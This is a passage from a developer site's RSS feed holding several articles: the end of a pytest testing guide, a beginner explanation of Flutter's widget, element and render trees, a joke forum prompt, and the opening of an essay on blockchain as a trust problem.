&lt;p&gt;And your complete suite can still run with &lt;code&gt;pytest&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&quot;caching-can-already-solve-some-performance-problems&quot;&gt;Caching Can Already Solve Some Performance Problems&lt;/h4&gt;
&lt;p&gt;Suppose your application loads a model once at module level, and subsequent calls reuse it. Then only the first test that needs the model may pay the expensive loading cost — the others can reuse the already-loaded instance.&lt;/p&gt;
&lt;p&gt;You can verify whether this is actually happening with &lt;code&gt;uv run pytest --durations=10&lt;/code&gt;. If the first model-related test is slow and subsequent tests are much faster, your existing caching may already be doing the job. If every test is slow, something may be reloading the model when it shouldn't. Measure first.&lt;/p&gt;
&lt;h4 id=&quot;parallelizing-the-suite&quot;&gt;Parallelizing the Suite&lt;/h4&gt;
&lt;p&gt;If the entire suite is slow, rather than just a handful of expensive tests, parallel execution may help.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv add --dev pytest-xdist
uv run pytest -n auto
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;-n auto&lt;/code&gt; lets xdist determine a useful number of workers. But don't reach for parallelization automatically — for many projects, simply excluding slow tests during development (&lt;code&gt;pytest -m &quot;not slow&quot;&lt;/code&gt;) is enough.&lt;/p&gt;
&lt;h3 id=&quot;coverage-is-a-flashlight-not-a-scoreboard&quot;&gt;Coverage Is a Flashlight, Not a Scoreboard&lt;/h3&gt;
&lt;p&gt;Coverage is useful. It tells you which lines of code weren't exercised by your tests.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --cov=src
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This can help you find code paths you haven't thought about. But coverage doesn't tell you whether your tests are good. You can achieve 100% coverage with tests that assert almost nothing meaningful:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_everything():
    my_function()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code executed. Coverage increases. But the test may tell you almost nothing about whether the behavior is correct. So treat coverage as a flashlight — use it to illuminate parts of the code you haven't tested. Don't treat it as a scoreboard you have to maximize.&lt;/p&gt;
&lt;h3 id=&quot;a-simple-checklist-for-every-new-test&quot;&gt;A Simple Checklist for Every New Test&lt;/h3&gt;
&lt;p&gt;When adding tests for a new function or feature, ask:&lt;/p&gt;
&lt;h5 id=&quot;1-what-s-the-happy-path-&quot;&gt;1. What's the happy path?&lt;/h5&gt;
&lt;p&gt;What should happen when everything is valid?&lt;/p&gt;
&lt;h5 id=&quot;2-what-s-at-least-one-edge-case-&quot;&gt;2. What's at least one edge case?&lt;/h5&gt;
&lt;p&gt;Consider: empty input, missing fields, boundary values, unexpected but valid combinations.&lt;/p&gt;
&lt;h5 id=&quot;3-what-s-the-failure-mode-&quot;&gt;3. What's the failure mode?&lt;/h5&gt;
&lt;p&gt;What should happen when input is invalid, an external dependency fails, a file doesn't exist, or an API returns an unexpected result?&lt;/p&gt;
&lt;h5 id=&quot;4-what-should-be-mocked-&quot;&gt;4. What should be mocked?&lt;/h5&gt;
&lt;p&gt;Usually mock things that are external, slow, non-deterministic, or side-effecting. But let your own logic run for real.&lt;/p&gt;
&lt;h5 id=&quot;5-is-the-test-asking-one-question-&quot;&gt;5. Is the test asking one question?&lt;/h5&gt;
&lt;p&gt;If the test name contains the word &quot;and,&quot; that's sometimes a sign that you're testing two behaviors at once. A test should ideally answer one clear question.&lt;/p&gt;
&lt;h3 id=&quot;the-mental-model-i-ended-up-with&quot;&gt;The Mental Model I Ended Up With&lt;/h3&gt;
&lt;p&gt;pytest can look like a large collection of features when you're first learning it. But after working with it for a while, I found that most of what I actually needed came down to a few ideas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tests are ordinary Python functions.&lt;/strong&gt; pytest discovers them through naming conventions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assertions are ordinary Python &lt;code&gt;assert&lt;/code&gt; statements.&lt;/strong&gt; pytest makes their failures informative.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fixtures provide reusable things that tests need.&lt;/strong&gt; &lt;code&gt;conftest.py&lt;/code&gt; makes shared fixtures available without imports.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Parametrization lets you run the same test logic against multiple inputs.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mocks let you replace boundaries you don't want to exercise for real.&lt;/strong&gt; Things like FFmpeg, APIs, databases, and other external systems are often good candidates — while the logic you're actually testing should usually run normally.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Markers let you separate tests by purpose or cost.&lt;/strong&gt; And the debugging tools make it much easier to figure out why something failed without resorting to &lt;code&gt;print()&lt;/code&gt; everywhere.&lt;/p&gt;
&lt;p&gt;Most importantly, I stopped thinking of testing as &quot;how do I get my coverage number up?&quot; and started thinking more in terms of &quot;what question am I trying to answer with this test?&quot; For me, that shift made pytest much easier to understand.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The syntax is the easy part. The useful part is learning what behavior is worth testing, what should be isolated, what should run for real, and how to make a failure tell you something useful.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30938/pytest-in-practice</guid>
<pubDate>Tue, 13 Oct 2026 12:45:48 +0000</pubDate>
</item>
<item>
<title>Flutter’s UI Architecture Explained for Beginners: Widgets, Elements, and Render Objects</title>
<link>https://coderlegion.com/30644/flutters-ui-architecture-explained-for-beginners-widgets-elements-and-render-objects</link>
<description>&lt;h3 id=&quot;flutter-basics&quot;&gt;Flutter Basics&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#flutter-basics-overview&quot;&gt;Flutter Basics Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#prerequisites&quot;&gt; Prerequisites&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#what-is-flutter&quot;&gt;What is Flutter?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#dart&quot;&gt;Dart&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#declarative-ui-reactive-programming&quot;&gt;Declarative UI / Reactive Programming&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#multiplatform-development&quot;&gt;Multiplatform Development&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#what-exactly-is-state&quot;&gt;What exactly is State?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#the-widget-tree-in-flutter&quot;&gt;The Widget Tree in Flutter&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#key-components-of-the-widget-tree&quot;&gt;Key Components of the Widget Tree&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#main-function&quot;&gt;Main Function&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#cupertino-vs-material-widgets&quot;&gt;Cupertino vs Material Widgets&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#flutter-rendering-and-ui-architecture&quot;&gt;Flutter Rendering and UI Architecture&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#difference-between-stateless--stateful-widgets&quot;&gt;Difference between Stateless &amp;amp; Stateful widgets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#stateful-widget-lifecycle-initstate-dispose&quot;&gt;Stateful Widget Lifecycle&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#how-setstate-triggers-ui-rebuilds&quot;&gt;How setState() triggers UI rebuilds&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#text-changer-app-example&quot;&gt;Text Changer App Example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;#summary&quot;&gt;Summary&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;flutter-basics-overview&quot;&gt;Flutter Basics Overview&lt;/h3&gt;
&lt;h3 id=&quot;prerequisites-&quot;&gt;Prerequisites:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Basic understanding of dart programming language &lt;/li&gt;
&lt;li&gt;Flutter installed on your system &lt;/li&gt;
&lt;li&gt;Android studio and Xcode(for Mac)&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;what-is-flutter-&quot;&gt;What is Flutter?&lt;/h4&gt;
&lt;p&gt;Flutter is a &lt;a rel=&quot;nofollow&quot; href=&quot;#declarative-ui-reactive-programming&quot;&gt;declarative&lt;/a&gt;, &lt;a rel=&quot;nofollow&quot; href=&quot;#declarative-ui-reactive-programming&quot;&gt;reactive&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://opensource.com/resources/what-open-source&quot;&gt;open-source&lt;/a&gt;, &lt;a rel=&quot;nofollow&quot; href=&quot;#multiplatform-development&quot;&gt;multiplatform&lt;/a&gt; UI toolkit developed by Google. It allows developers to build natively compiled applications for mobile, web, and desktop from a single codebase. Flutter uses the &lt;a rel=&quot;nofollow&quot; href=&quot;#dart&quot;&gt;Dart&lt;/a&gt; programming language and provides a rich set of pre-designed widgets to create beautiful and responsive user interfaces.&lt;/p&gt;
&lt;p&gt;Flutter developers often hear terms like everything in Flutter is a widget, and this is because Flutter's UI is built using a hierarchy of widgets called the widget tree. Widgets are the building blocks of a Flutter app's user interface, and they can be combined to create complex UIs.&lt;/p&gt;
&lt;h4 id=&quot;dart&quot;&gt;Dart&lt;/h4&gt;
&lt;p&gt;Dart is an &lt;a rel=&quot;nofollow&quot; href=&quot;https://opensource.com/resources/what-open-source&quot;&gt;open-source&lt;/a&gt; client-optimized programming language developed by Google that compiles to the native machine code of the target platform without runtime overhead leading to fast startup times and predictable performance. It is designed to be easy to learn and use, with a syntax that is similar to other popular programming languages like Java, JavaScript, and C#. Dart is the primary language used for developing Flutter applications.&lt;/p&gt;
&lt;h4 id=&quot;declarative-ui-reactive-programming&quot;&gt;Declarative UI / Reactive Programming&lt;/h4&gt;
&lt;p&gt;Flutter uses a declarative approach: you simply describe what the UI should look like for a given state (like color: blue). The framework then uses reactive programming to automatically react to state changes and rebuild the UI efficiently.&lt;/p&gt;
&lt;h4 id=&quot;multiplatform-development&quot;&gt;Multiplatform Development&lt;/h4&gt;
&lt;p&gt;Multiplatform development refers to the ability to create applications that can run on multiple platforms using a single codebase. Flutter enables developers to build applications for iOS, Android, web, and desktop platforms using the same codebase, which significantly reduces development time and effort.&lt;/p&gt;
&lt;h4 id=&quot;what-exactly-is-state-&quot;&gt;What exactly is State?&lt;/h4&gt;
&lt;p&gt;  Now you may wonder what state is. In simple terms, state refers to the data or information that determines the behavior and appearance of a widget at a given time. For example, the state of a button widget may include whether it is enabled or disabled, its color, and its text label.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nz3p5v0ep9458vnyjqp0.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;In Flutter, state can be managed in various ways, including using built-in stateful widgets, provider packages, or other state management solutions. The choice of state management technique depends on the complexity of the application and the specific requirements of the project. &lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-widget-tree-in-flutter&quot;&gt;The Widget Tree in Flutter&lt;/h3&gt;
&lt;p&gt;Now, as the interface of an application is built using widgets, those widgets are combined to create a widget tree. The widget tree is a hierarchical structure that represents the relationship between different widgets in the application. Each widget in the tree can have its own state, which can be updated and managed independently.&lt;/p&gt;
&lt;p&gt;When the state of a widget changes, Flutter automatically rebuilds the affected parts of the widget tree to reflect the new state. This is done using a process called &lt;code&gt;rebuilding,&lt;/code&gt; which involves creating a new instance of the widget with the updated state and replacing the old instance in the widget tree.&lt;/p&gt;
&lt;p&gt;This process is efficient and allows for smooth and responsive user interfaces, as only the affected parts of the widget tree are rebuilt, rather than the entire tree which facilitates the hot reload feature in Flutter.&lt;/p&gt;
&lt;h4 id=&quot;key-components-of-the-widget-tree&quot;&gt;Key Components of the Widget Tree&lt;/h4&gt;
&lt;p&gt;The widget tree is structured in a hierarchical manner, with each widget having a parent-child relationship with other widgets. The root of the tree is typically the &lt;code&gt;MaterialApp&lt;/code&gt; or &lt;code&gt;CupertinoApp&lt;/code&gt; widget, which serves as the entry point for the application. From there, other widgets are added as children of the root widget, forming a tree-like structure.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uj2nzy2x2pnksub82o40.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;h5 id=&quot;main-function&quot;&gt;Main Function&lt;/h5&gt;
&lt;p&gt;The &lt;code&gt;main&lt;/code&gt; function is the entry point of a Flutter application. It is where the execution of the app begins. In the &lt;code&gt;main&lt;/code&gt; function, we typically call the &lt;code&gt;runApp&lt;/code&gt; function, which takes a widget as an argument and inflates it to fill the screen.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vk1poimqqeduv3czx2cw.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;h5 id=&quot;cupertino-vs-material-widgets&quot;&gt;Cupertino vs Material Widgets&lt;/h5&gt;
&lt;p&gt;  Flutter provides two sets of pre-designed widgets: Material widgets and Cupertino widgets. Material widgets are designed to follow the Material Design guidelines developed by Google, while Cupertino widgets are designed to follow the iOS design guidelines developed by Apple. Depending on the target platform, developers can choose to use either set of widgets or a combination of both to create a consistent user experience across different platforms.&lt;/p&gt;
&lt;h4 id=&quot;flutter-rendering-and-ui-architecture&quot;&gt;Flutter Rendering and UI Architecture&lt;/h4&gt;
&lt;p&gt;  Flutter initially renders the UI using skia, a 2D graphics rendering engine. Skia is responsible for drawing the UI elements on the screen, and it provides a high-performance rendering pipeline that allows for smooth animations and transitions. But with the release of Flutter 3.0, Flutter introduced a new rendering engine called Impeller, which is designed to provide even better performance and visual fidelity. Impeller is a next-generation rendering engine that leverages modern graphics APIs like Metal on iOS and Vulkan on Android to deliver high-quality graphics and smooth animations.&lt;/p&gt;
&lt;p&gt;Flutter's rendering and UI architecture is primarily built upon three main trees:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Widget Tree&lt;/strong&gt;: The widget tree is the hierarchical structure of widgets that make up the user interface of a Flutter application. Each widget in the tree represents a specific UI element, such as a button, text field, or image. The widget tree is responsible for defining the layout and appearance of the UI.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Element Tree&lt;/strong&gt;: The element tree is a lower-level representation of the widget tree. It consists of &lt;code&gt;Element&lt;/code&gt; objects, which are created for each widget in the widget tree (Like a copy of the widget). The element tree is responsible for managing the lifecycle of widgets, including their creation, updating, and destruction. It also handles the communication between widgets and their associated state.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Render Tree (or RenderObject Tree):&lt;/strong&gt;: The render tree is the final representation of the UI that is used for painting on the screen. It consists of &lt;code&gt;RenderObject&lt;/code&gt; instances, which are responsible for the actual layout and painting of the UI elements. The render tree is built from the element tree and is optimized for performance and efficiency during the rendering process.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In summary,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The Widget is the structural description of the UI (Blueprint). it is the &lt;code&gt;immutable&lt;/code&gt; description of what the UI should look like and provides configuration and hierarchy.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The Element is the &lt;code&gt;mutable&lt;/code&gt; brain that manages the lifecycle of the widget and holds the state. It acts as a bridge between the widget and the render object. Determines what needs to be updated when the widget's state changes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The Render Object is the Builder/Artist that is responsible for the actual layout and painting(drawing pixels) of the UI on the screen. It takes care of measuring, positioning, and drawing the visual representation of the widget.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The interaction between these three trees is crucial for the efficient rendering of the UI in Flutter. When a widget's state changes, Flutter updates the widget tree, which in turn updates the element tree and the render tree. This process ensures that only the affected parts of the UI are redrawn, leading to smooth and responsive user interfaces.&lt;/p&gt;
&lt;h3 id=&quot;difference-between-stateless-amp-stateful-widgets&quot;&gt;Difference between Stateless &amp;amp; Stateful widgets&lt;/h3&gt;
&lt;p&gt;The widget tree can be broadly categorized into two types of widgets based on their ability to manage state:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Stateless Widgets&lt;/strong&gt;: These are widgets that do not maintain any state. Once built, their appearance and behavior are fixed and cannot change. Stateless widgets are typically used for static content that does not require user interaction or dynamic updates.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Stateful Widgets&lt;/strong&gt;: These are widgets that can maintain state over time. They can rebuild themselves when their state changes, allowing for dynamic and interactive user interfaces. Stateful widgets are used for content that needs to change in response to user input or other events.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/18hdofqfc9spchai5wkz.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;Other kinds of widgets include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Inherited Widgets&lt;/strong&gt;: These widgets allow data to be passed down the widget tree efficiently. They are used for sharing data between widgets without the need for explicit passing through constructors. examples include &lt;code&gt;Theme&lt;/code&gt; and &lt;code&gt;MediaQuery&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;stateful-widget-lifecycle-initstate-dispose-&quot;&gt;Stateful Widget Lifecycle (initState, dispose)&lt;/h3&gt;
&lt;p&gt;Stateful widgets have a lifecycle that consists of several stages, each represented by specific methods that can be overridden to perform actions at different points in the widget's life. The key lifecycle methods of a stateful widget are:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3c994uf7i40800tbsu2j.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;createState()&lt;/strong&gt;: This method is called when the stateful widget is first created. It returns an instance of the associated &lt;code&gt;State&lt;/code&gt; class, which holds the mutable state for the widget.&lt;br&gt;
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/se7x9682wd7q2rjrvbyp.png&quot; alt=&quot;Image description&quot;&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;initState()&lt;/strong&gt;: This method is called after the stateful widget is created and before the widget is built for the first time. It is used to perform any initializations that are required for the state.&lt;br&gt;
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v0pfm2t8y9o9xpiz4007.png&quot; alt=&quot;Image description&quot;&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;didChangeDependencies()&lt;/strong&gt;: Called immediately after &lt;code&gt;initState()&lt;/code&gt;, but before the widget is built for the first time. It's also called when an InheritedWidget that this State depends on changes. It is often a good place to initialize data that depends on the BuildContext (like Theme.of(context)), as initState() may be too early.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;build()&lt;/strong&gt;: This method is called whenever the widget needs to be rebuilt, either due to a change in state or when the parent widget rebuilds. It returns the widget tree that represents the UI of the stateful widget.&lt;br&gt;
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rb8cqk17y11lpvfv3ymt.png&quot; alt=&quot;Image description&quot;&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;setState()&lt;/strong&gt;: (Triggered by you) This method is used to notify the framework that the state of the widget has changed and that it needs to be rebuilt.&lt;br&gt;
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zcca5didfabts1du60qa.png&quot; alt=&quot;Image description&quot;&gt;&lt;br&gt;
The image above illustrates how calling &lt;code&gt;setState()&lt;/code&gt; leads to the invocation of the &lt;code&gt;build()&lt;/code&gt; method, when the user hits enter after inputing a city name in the TextField. it fetches new weather data and updates the UI accordingly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;didUpdateWidget()&lt;/strong&gt;: This method is called whenever the parent widget rebuilds and passes new configuration data down to the child stateful widget. It allows the state to respond to changes in the widget's properties by passing the updated stateful widget as a parameter.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;deactivate()&lt;/strong&gt;: This method is called when the State object is removed from the Element tree, but before it is disposed. This might happen temporarily if the widget is moved to a different part of the tree.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;dispose()&lt;/strong&gt;: This is called after deactivate() when the State object is permanently removed from the tree. This is the last method called, and it's essential to use it for cleanup (e.g., canceling timers, unsubscribing from streams, disposing of controllers) to prevent memory leaks.&lt;br&gt;
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5k51gj19t3vns6sak6q8.png&quot; alt=&quot;Image description&quot;&gt;&lt;br&gt;
The image above shows the &lt;code&gt;dispose()&lt;/code&gt; method being called when the &lt;code&gt;StatefulWidget&lt;/code&gt; which is a TextFormField controller is removed from the widget tree after a user submits a form. This ensures that resources are properly released and prevents memory leaks.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;how-setstate-triggers-ui-rebuilds&quot;&gt;How setState() triggers UI rebuilds&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;setState()&lt;/code&gt; method is a crucial part of the stateful widget lifecycle in Flutter. When you call &lt;code&gt;setState()&lt;/code&gt;, you are indicating to the Flutter framework that the internal state of the widget has changed and that the widget needs to be rebuilt to reflect those changes in the UI.&lt;br&gt;
When &lt;code&gt;setState()&lt;/code&gt; is called, the following sequence of events occurs:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The callback function passed to &lt;code&gt;setState()&lt;/code&gt; is executed, allowing you to update the state variables of the widget.&lt;/li&gt;
&lt;li&gt;After the state has been updated, Flutter marks the widget as needing to be rebuilt.&lt;/li&gt;
&lt;li&gt;The framework schedules a rebuild of the widget tree, starting from the stateful widget that called &lt;code&gt;setState()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;During the rebuild process, the &lt;code&gt;build()&lt;/code&gt; method of the stateful widget is called, which constructs a new widget tree based on the updated state.&lt;/li&gt;
&lt;li&gt;The framework compares the new widget tree with the previous one and determines which parts of the UI need to be updated.&lt;/li&gt;
&lt;li&gt;Finally, the framework updates the UI by redrawing only the affected parts of the widget tree, resulting in a smooth and efficient update to the user interface.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;text-changer-app-example&quot;&gt;Text Changer App Example&lt;/h3&gt;
&lt;p&gt;Click &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ideateGudy/Flutter_Mobile_Development_Series/blob/main/day%201_flutter%20basics/text_changer&quot;&gt;Here to view the Text Changer App Explanation.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xesr5996330re6zbya69.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7eeuyc0rgfhj8iaxpqqo.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
&lt;p&gt;In summary, the three trees in Flutter's rendering architecture work together to create a responsive and efficient UI. The widget tree defines the structure and appearance of the UI, the element tree manages the lifecycle and state of the widgets, and the render tree is responsible for the actual painting of the UI on the screen. Understanding these trees and their interactions is key to building performant Flutter applications.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30644/flutters-ui-architecture-explained-for-beginners-widgets-elements-and-render-objects</guid>
<pubDate>Sat, 10 Oct 2026 20:38:02 +0000</pubDate>
</item>
<item>
<title>What's something &quot;every developer knows&quot; that you secretly had to Google yesterday?</title>
<link>https://coderlegion.com/30155/whats-something-every-developer-knows-that-you-secretly-had-to-google-yesterday</link>
<description>&lt;p&gt;I'll go first. Yesterday I Googled &quot;how to center a div&quot; for approximately the four hundredth time in my career.&lt;/p&gt;
&lt;p&gt;No shame. Just facts.&lt;/p&gt;
&lt;p&gt;What's yours?&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30155/whats-something-every-developer-knows-that-you-secretly-had-to-google-yesterday</guid>
<pubDate>Wed, 07 Oct 2026 15:50:54 +0000</pubDate>
</item>
<item>
<title>Blockchain Isn't About Crypto.It's About a Trust Problem You Didn't Know You Had</title>
<link>https://coderlegion.com/30122/blockchain-isnt-about-crypto-its-about-a-trust-problem-you-didnt-know-you-had</link>
<description>&lt;p&gt;Before we started the first session of BinnaDevLab Cohorts, I knew one thing with certainty:&lt;/p&gt;
&lt;p&gt;If we opened with the word &quot;blockchain,&quot; we'd lose half of the room.&lt;/p&gt;
&lt;p&gt;Not because the topic is hard. Because the word carries baggage. Crypto speculation. NFT mania. Headlines about scams and volatility. By the time most developers hear &quot;blockchain,&quot; they've already formed an opinion and it's usually dismissive.&lt;/p&gt;
&lt;p&gt;So we didn't start there.&lt;/p&gt;
&lt;p&gt;We started with a question.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Think of an app you used this morning. Name it.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That was the warm-up exercise Uchenna Ofoma, our facilitator for Session 1 put to the cohort.&lt;/p&gt;
&lt;p&gt;The answers came quickly.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Opay. WhatsApp. Gmail. Facebook. Sporty.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Uchenna nodded at each one. Then he asked the follow-up question. The one that changed everything:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Who were you actually trusting?&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The room went quiet.&lt;/p&gt;
&lt;p&gt;Not the app. Not the company. When you send ₦5,000 on Opay, you're trusting:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opay's servers to record the transaction accurately&lt;/li&gt;
&lt;li&gt;The commercial bank Opay connects to&lt;/li&gt;
&lt;li&gt;NIBSS to clear the interbank transfer&lt;/li&gt;
&lt;li&gt;The KYC provider that verified both account holders&lt;/li&gt;
&lt;li&gt;The CBN regulatory framework sitting beneath all of it&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You weren't trusting one party. You were trusting a &lt;strong&gt;chain&lt;/strong&gt; and you had zero visibility into any link of it.&lt;/p&gt;
&lt;p&gt;That's not a crypto problem. That's not a web3 problem. That's a software engineering problem that exists in every application you've ever built or used.&lt;/p&gt;
&lt;p&gt;And that is the real reason blockchain was invented.&lt;/p&gt;
&lt;h3 id=&quot;why-we-built-binnadevlab-around-this&quot;&gt;Why We Built BinnaDevLab Around This&lt;/h3&gt;
&lt;p&gt;When I started BinnaDevLab Cohorts, the goal was simple but specific: train developers to reason at a global level not just to write code, but to understand why systems are designed the way they are.&lt;/p&gt;
&lt;p&gt;The industry is full of bootcamps that teach you to ship fast. We wanted to build something different. A program built on the principle that &lt;strong&gt;reasoning comes before coding&lt;/strong&gt;. That understanding the problem deeply is the actual skill, the code is just the output.&lt;/p&gt;
&lt;p&gt;Blockchain was the perfect first topic. Not because it's trendy. Because it sits at the intersection of distributed systems, game theory, cryptography, and trust and most introductions to it skip all of that in favour of price charts.&lt;/p&gt;
&lt;p&gt;We wanted to go the other way.&lt;/p&gt;
&lt;h3 id=&quot;what-actually-happens-when-trust-breaks&quot;&gt;What Actually Happens When Trust Breaks&lt;/h3&gt;
&lt;blockquote&gt;&lt;p&gt;🎬 &lt;strong&gt;Prefer to watch?&lt;/strong&gt; The full 64-minute session is on YouTube&lt;br&gt;
&lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/MTpR9-JL1ig&quot;&gt;Blockchain Fundamentals Explained | BinnaDevLab Cohort 1, Session 1&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Uchenna spent the core of Session 1 on a deceptively simple question: where does the trust network fail?&lt;/p&gt;
&lt;p&gt;The answer: &lt;strong&gt;single points of failure.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Every link in that chain we described: Opay, the bank, NIBSS, the KYC provider is a centralised entity. That means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;One server goes down -&amp;gt; transactions fail&lt;/li&gt;
&lt;li&gt;One database is compromised -&amp;gt; your data is leaked&lt;/li&gt;
